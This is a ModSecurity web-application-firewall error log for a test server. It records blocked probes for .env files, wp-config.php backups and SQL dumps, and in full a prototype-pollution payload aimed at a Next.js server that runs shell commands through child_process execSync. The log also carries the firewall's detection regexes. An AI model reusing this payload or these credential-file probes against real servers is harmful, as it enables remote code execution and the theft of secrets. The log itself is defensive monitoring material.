[Fri Mar 13 10:38:59.956333 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v2/.env"] [unique_id "abPbMw_F2ofVADhybSyNYQAAAAU"]
[Fri Mar 13 10:38:59.979519 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.env"] [unique_id "abPbMw_F2ofVADhybSyNYgAAAAU"]
[Fri Mar 13 10:38:59.979748 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.env"] [unique_id "abPbMw_F2ofVADhybSyNYgAAAAU"]
[Fri Mar 13 10:38:59.979897 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/v3/.env"] [unique_id "abPbMw_F2ofVADhybSyNYgAAAAU"]
[Fri Mar 13 10:39:00.003466 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abPbNA_F2ofVADhybSyNYwAAAAU"]
[Fri Mar 13 10:39:00.003667 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abPbNA_F2ofVADhybSyNYwAAAAU"]
[Fri Mar 13 10:39:00.003813 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "abPbNA_F2ofVADhybSyNYwAAAAU"]
[Fri Mar 13 10:39:00.168699 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abPbNA_F2ofVADhybSyNagAAAAU"]
[Fri Mar 13 10:39:00.168908 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abPbNA_F2ofVADhybSyNagAAAAU"]
[Fri Mar 13 10:39:00.169054 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "abPbNA_F2ofVADhybSyNagAAAAU"]
[Fri Mar 13 10:39:00.191505 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abPbNA_F2ofVADhybSyNawAAAAU"]
[Fri Mar 13 10:39:00.191741 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abPbNA_F2ofVADhybSyNawAAAAU"]
[Fri Mar 13 10:39:00.191929 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abPbNA_F2ofVADhybSyNawAAAAU"]
[Fri Mar 13 10:39:00.192075 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.bak"] [unique_id "abPbNA_F2ofVADhybSyNawAAAAU"]
[Fri Mar 13 10:39:00.215033 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.new"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.new"] [unique_id "abPbNA_F2ofVADhybSyNbAAAAAU"]
[Fri Mar 13 10:39:00.215253 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.new"] [unique_id "abPbNA_F2ofVADhybSyNbAAAAAU"]
[Fri Mar 13 10:39:00.215415 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.new"] [unique_id "abPbNA_F2ofVADhybSyNbAAAAAU"]
[Fri Mar 13 10:39:00.237631 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abPbNA_F2ofVADhybSyNbQAAAAU"]
[Fri Mar 13 10:39:00.237923 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abPbNA_F2ofVADhybSyNbQAAAAU"]
[Fri Mar 13 10:39:00.238179 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abPbNA_F2ofVADhybSyNbQAAAAU"]
[Fri Mar 13 10:39:00.238392 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "abPbNA_F2ofVADhybSyNbQAAAAU"]
[Fri Mar 13 10:39:00.261427 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/mysql.sql"] [unique_id "abPbNA_F2ofVADhybSyNbgAAAAU"]
[Fri Mar 13 10:39:00.261844 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/mysql.sql"] [unique_id "abPbNA_F2ofVADhybSyNbgAAAAU"]
[Fri Mar 13 10:39:00.261994 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-content/mysql.sql"] [unique_id "abPbNA_F2ofVADhybSyNbgAAAAU"]
[Fri Mar 13 10:39:00.284177 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp_mail_smtp.ini"] [unique_id "abPbNA_F2ofVADhybSyNbwAAAAU"]
[Fri Mar 13 10:39:00.284576 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp_mail_smtp.ini"] [unique_id "abPbNA_F2ofVADhybSyNbwAAAAU"]
[Fri Mar 13 10:39:00.284728 2026] [:error] [pid 2664179] [client 185.177.72.49:7598] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp_mail_smtp.ini"] [unique_id "abPbNA_F2ofVADhybSyNbwAAAAU"]
[Fri Mar 13 14:54:25.881629 2026] [:error] [pid 2668719] [client 35.226.205.165:38320] [client 35.226.205.165] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abQXEXATcTB67jsribTscQAAAAg"]
[Fri Mar 13 14:54:25.881869 2026] [:error] [pid 2668719] [client 35.226.205.165:38320] [client 35.226.205.165] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abQXEXATcTB67jsribTscQAAAAg"]
[Fri Mar 13 14:54:25.881995 2026] [:error] [pid 2668719] [client 35.226.205.165:38320] [client 35.226.205.165] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "abQXEXATcTB67jsribTscQAAAAg"]
[Fri Mar 13 15:01:25.425154 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UAAAAAE"]
[Fri Mar 13 15:01:25.425500 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\x22: ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UAAAAAE"]
[Fri Mar 13 15:01:25.426063 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UAAAAAE"]
[Fri Mar 13 15:01:25.426207 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UAAAAAE"]
[Fri Mar 13 15:01:25.731770 2026] [:error] [pid 2672929] [client 13.239.241.155:45336] [client 13.239.241.155] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((41*271)) found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo $((41*271)) | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "abQYtbr_PRt-G0_zV0y0UQAAAAE"]
